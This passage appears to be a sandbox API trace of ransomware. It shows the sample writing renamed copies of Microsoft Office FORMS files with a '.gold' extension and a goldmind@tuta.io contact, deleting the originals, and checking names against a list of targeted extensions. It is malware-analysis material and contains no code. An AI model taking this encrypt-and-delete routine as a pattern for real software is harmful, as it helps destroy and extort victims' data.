Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString=".doc") returned 4 [0112.723] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.723] lstrlenW (lpString=".docx") returned 5 [0112.723] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0112.723] lstrlenW (lpString=".pdf") returned 4 [0112.723] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString=".xls") returned 4 [0112.723] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString=".xlsx") returned 5 [0112.723] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0112.723] lstrlenW (lpString=".ppt") returned 4 [0112.723] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString=".zip") returned 4 [0112.723] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString=".rar") returned 4 [0112.723] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString=".bz2") returned 4 [0112.723] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.723] lstrlenW (lpString=".7z") returned 3 [0112.723] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString=".dbf") returned 4 [0112.723] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString=".1cd") returned 4 [0112.723] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString=".jpg") returned 4 [0112.723] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.724] lstrlenW (lpString=".doc") returned 4 [0112.724] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.724] lstrlenW (lpString=".docx") returned 5 [0112.724] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0112.724] lstrlenW (lpString=".pdf") returned 4 [0112.724] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.724] lstrlenW (lpString=".xls") returned 4 [0112.724] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.724] lstrlenW (lpString=".xlsx") returned 5 [0112.724] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0112.724] lstrlenW (lpString=".ppt") returned 4 [0112.724] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.724] lstrlenW (lpString=".zip") returned 4 [0112.724] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.724] lstrlenW (lpString=".rar") returned 4 [0112.724] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.724] lstrlenW (lpString=".bz2") returned 4 [0112.724] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.724] lstrlenW (lpString=".7z") returned 3 [0112.724] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.724] lstrlenW (lpString=".dbf") returned 4 [0112.724] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.724] lstrlenW (lpString=".1cd") returned 4 [0112.724] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0112.724] lstrlenW (lpString=".jpg") returned 4 [0112.724] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.724] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.724] lstrlenW (lpString="APPTS.ICO") returned 9 [0112.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.725] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2998) returned 1 [0112.725] CloseHandle (hObject=0x3ec) returned 1 [0112.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 0x20 [0112.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.726] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.726] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.726] GetLastError () returned 0x0 [0112.726] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0112.728] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0112.728] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.728] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0112.728] SetEndOfFile (hFile=0x394) returned 1 [0112.729] CloseHandle (hObject=0x394) returned 1 [0112.729] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.729] SetEndOfFile (hFile=0x3ec) returned 1 [0112.730] CloseHandle (hObject=0x3ec) returned 1 [0112.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 1 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString=".doc") returned 4 [0112.732] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.732] lstrlenW (lpString=".docx") returned 5 [0112.732] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0112.732] lstrlenW (lpString=".pdf") returned 4 [0112.732] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.732] lstrlenW (lpString=".xls") returned 4 [0112.732] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.732] lstrlenW (lpString=".xlsx") returned 5 [0112.732] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0112.732] lstrlenW (lpString=".ppt") returned 4 [0112.732] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString=".zip") returned 4 [0112.732] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.732] lstrlenW (lpString=".rar") returned 4 [0112.732] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.732] lstrlenW (lpString=".bz2") returned 4 [0112.732] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.732] lstrlenW (lpString=".7z") returned 3 [0112.732] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString=".dbf") returned 4 [0112.732] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString=".1cd") returned 4 [0112.732] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.732] lstrlenW (lpString=".jpg") returned 4 [0112.733] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString=".doc") returned 4 [0112.733] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.733] lstrlenW (lpString=".docx") returned 5 [0112.733] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0112.733] lstrlenW (lpString=".pdf") returned 4 [0112.733] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString=".xls") returned 4 [0112.733] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString=".xlsx") returned 5 [0112.733] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0112.733] lstrlenW (lpString=".ppt") returned 4 [0112.733] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString=".zip") returned 4 [0112.733] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString=".rar") returned 4 [0112.733] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.733] lstrlenW (lpString=".bz2") returned 4 [0112.733] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.733] lstrlenW (lpString=".7z") returned 3 [0112.733] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString=".dbf") returned 4 [0112.733] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString=".1cd") returned 4 [0112.733] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0112.733] lstrlenW (lpString=".jpg") returned 4 [0112.733] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.733] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.733] lstrlenW (lpString="CNFNOT.CFG") returned 10 [0112.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.734] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=320) returned 1 [0112.734] CloseHandle (hObject=0x3ec) returned 1 [0112.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20 [0112.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.735] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.735] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.735] GetLastError () returned 0x0 [0112.735] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x140, lpOverlapped=0x0) returned 1 [0112.736] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x150, lpOverlapped=0x0) returned 1 [0112.737] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.737] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0112.737] SetEndOfFile (hFile=0x394) returned 1 [0112.737] CloseHandle (hObject=0x394) returned 1 [0112.737] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.737] SetEndOfFile (hFile=0x3ec) returned 1 [0112.739] CloseHandle (hObject=0x3ec) returned 1 [0112.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 1 [0113.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.049] lstrlenW (lpString=".doc") returned 4 [0113.049] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0113.049] lstrlenW (lpString=".docx") returned 5 [0113.049] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0113.049] lstrlenW (lpString=".pdf") returned 4 [0113.049] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0113.049] lstrlenW (lpString=".xls") returned 4 [0113.049] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0113.049] lstrlenW (lpString=".xlsx") returned 5 [0113.049] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0113.049] lstrlenW (lpString=".ppt") returned 4 [0113.050] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".zip") returned 4 [0113.050] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".rar") returned 4 [0113.050] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".bz2") returned 4 [0113.050] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0113.050] lstrlenW (lpString=".7z") returned 3 [0113.050] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".dbf") returned 4 [0113.050] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".1cd") returned 4 [0113.050] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".jpg") returned 4 [0113.050] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".doc") returned 4 [0113.050] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".docx") returned 5 [0113.050] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0113.050] lstrlenW (lpString=".pdf") returned 4 [0113.050] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".xls") returned 4 [0113.050] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".xlsx") returned 5 [0113.050] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0113.050] lstrlenW (lpString=".ppt") returned 4 [0113.050] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".zip") returned 4 [0113.050] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".rar") returned 4 [0113.050] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString=".bz2") returned 4 [0113.050] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0113.050] lstrlenW (lpString=".7z") returned 3 [0113.050] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".dbf") returned 4 [0113.050] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0113.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.050] lstrlenW (lpString=".1cd") returned 4 [0113.050] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0113.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0113.051] lstrlenW (lpString=".jpg") returned 4 [0113.051] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0113.051] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0113.051] lstrlenW (lpString="DISTLSTS.ICO") returned 12 [0113.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0113.052] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2998) returned 1 [0113.052] CloseHandle (hObject=0x3a0) returned 1 [0113.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 0x20 [0113.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0113.052] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.052] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.620] GetLastError () returned 0x0 [0113.620] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0113.632] WriteFile (in: hFile=0x398, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0113.632] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.633] WriteFile (in: hFile=0x398, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.633] SetEndOfFile (hFile=0x398) returned 1 [0113.633] CloseHandle (hObject=0x398) returned 1 [0113.633] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.633] SetEndOfFile (hFile=0x3a0) returned 1 [0113.635] CloseHandle (hObject=0x3a0) returned 1 [0113.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 1 [0113.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.697] lstrlenW (lpString=".doc") returned 4 [0113.697] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.697] lstrlenW (lpString=".docx") returned 5 